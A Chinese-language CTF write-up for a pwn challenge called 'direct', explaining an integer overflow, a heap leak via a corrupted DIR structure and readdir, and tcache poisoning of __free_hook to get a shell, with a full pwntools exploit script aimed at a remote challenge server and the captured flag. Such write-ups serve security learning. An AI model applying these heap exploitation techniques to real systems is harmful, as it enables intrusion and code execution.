[Pwn] direct - xf1les xp0int Posted on Aug 28 2020 edit存在整数溢出,可以越界写。用 opendir 函数在堆上创建一个DIR结构体,利用 edit 修改 offset 字段指向 unsorted bins 堆块,然后调用 readdir 返回堆块并泄漏上面的libc地址。 首先释放8个 0x90 堆块,填满 tcache 并将其中一个堆块放进 unsorted bin。unsorted bin 堆块上有 main_arena 地址。 ``` for i in range(8): add(i, 0x80) add(0xf, 0x80) for i in range(8): free(i) ``` ![title](https://leanote.com/api/file/getImage?fileId=5f42a161ab64413bbd000b16) 然后利用 edit 功能修改堆上 DIR 结构体指向 unsorted bin 堆块。 ``` # dirp->size = -1 edit(0, 8, (0x555555757270-0x55555575f600), p64(-1, signed=True)) # dirp->offset = 0x83ed edit(0, 8, (0x555555757270-0x55555575f600)+8, p64((0x55555575f690-0x555555757290)-0x13)) # dp->d_ino = 0x414141 edit(0, 0x80, 0, b'A'*0x80) ``` ![title](https://leanote.com/api/file/getImage?fileId=5f42a22dab644139c5000b5f) 然后调用 readdir 泄露 main_arena 地址。 ``` readdir() p.recvuntil("Filename: ") libc.address = u64(p.recv(6) + b'\x00\x00') - (0x7ffff7dcfca0-0x7ffff79e4000) ``` 再次利用 edit 功能将 tcache fd 改成 free_hook 地址。分配得到 free_hook 地址后,写入 system 函数地址。最后调用 free 函数 getshell。 ``` edit(0, 8, (0x555555757088-0x55555575f600), p64(libc.symbols["__free_hook"])) add(1, 0x80) edit(1, 8, 0, p64(libc.symbols["system"])) edit(0, 8, 0, b"/bin/sh\x00") free(0) p.sendline("cat flag") ``` 完整脚本: ``` #!/usr/bin/env python3 from pwn import * context(arch="amd64", log_level="debug") p_sl = lambda x, y: p.sendlineafter(y, x) p_s = lambda x, y: p.sendafter(y, x) #p = process("./direct_new") p = remote("106.14.214.3", 1912) def add(idx, sz): p_sl('1', "Your choice: ") p_sl(str(idx), "Index: ") p_sl(str(sz), "Size: ") def edit(idx, sz, os, ctx): p_sl('2', "Your choice: ") p_sl(str(idx), "Index: ") p_sl(str(os), "Offset: ") p_sl(str(sz), "Size: ") p_s(ctx, "Content: ") def free(idx): p_sl('3', "Your choice: ") p_sl(str(idx), "Index: ") def opendir(): p_sl('4', "Your choice: ") def readdir(): p_sl('5', "Your choice: ") #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") libc = ELF("./libc-2.27.so") opendir() for i in range(8): add(i, 0x80) add(0xf, 0x80) for i in range(8): free(i) add(0, 0x80) # dirp->size = -1 edit(0, 8, (0x555555757270-0x55555575f600), p64(-1, signed=True)) # dirp->offset = 0x83ed edit(0, 8, (0x555555757270-0x55555575f600)+8, p64((0x55555575f690-0x555555757290)-0x13)) # dp->d_ino = 0x414141 edit(0, 0x80, 0, b'A'*0x80) readdir() p.recvuntil("Filename: ") libc.address = u64(p.recv(6) + b'\x00\x00') - (0x7ffff7dcfca0-0x7ffff79e4000) edit(0, 8, (0x555555757088-0x55555575f600), p64(libc.symbols["__free_hook"])) add(1, 0x80) edit(1, 8, 0, p64(libc.symbols["system"])) edit(0, 8, 0, b"/bin/sh\x00") free(0) p.sendline("cat flag") p.interactive() ``` FLAG : flag{FD1DD0C603BE8170F9EAE0BE9F2F6AFB} 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 0x00 题目名称 [强网先锋] Funhash - Donek1
没有帐号? 立即注册